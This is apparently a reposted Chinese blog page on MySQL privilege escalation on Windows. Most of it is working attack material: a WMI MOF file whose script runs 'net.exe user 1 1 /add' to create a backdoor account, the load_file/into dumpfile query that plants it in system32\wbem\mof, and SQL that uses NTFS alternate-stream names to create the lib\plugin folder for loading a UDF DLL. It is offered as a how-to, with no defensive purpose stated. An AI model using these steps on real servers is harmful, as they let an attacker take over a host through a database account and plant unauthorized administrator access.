您的位置:首页 > 数据库 > MySQL

MYSQL提权细节2014-02-24 • Nots • 0 条评论 • luom •625 views

2016-04-14 23:00 603 查看
一.mof 提权

1、找一个可写目录上传mof文件

#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")
WSH.run("net.exe user 1 1 /add")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

2、执行load_file或into dumpfile把文件导出到正确的位置

select load_file(’C:/wmpub/mysql.mof’) into dumpfile ’c:/windows/system32/wbem/mof/mysql.mof’


二 . UDF Can’t open shared library

某些情况下,我们会遇到Can’t
open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默认情况下plugin不存在

大牛研究出了利用NTFS
ADS流来创建文件夹的方法

select @@basedir;
//查找mysql的目录
select ’It is dll’ into dumpfile ’C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION’;
//利用NTFS ADS创建lib目录
select ’It is dll’ into dumpfile ’C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION’;
//利用NTFS ADS创建plugin目录

成功以后再进行导出

NTFS流是个方法,mysql < 5.0还是5.x 导出任意目录都能加载

查看plugin 还有 data路径;Linux下mysql也可以.so提权的.

mysql还有个底权限load文件
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: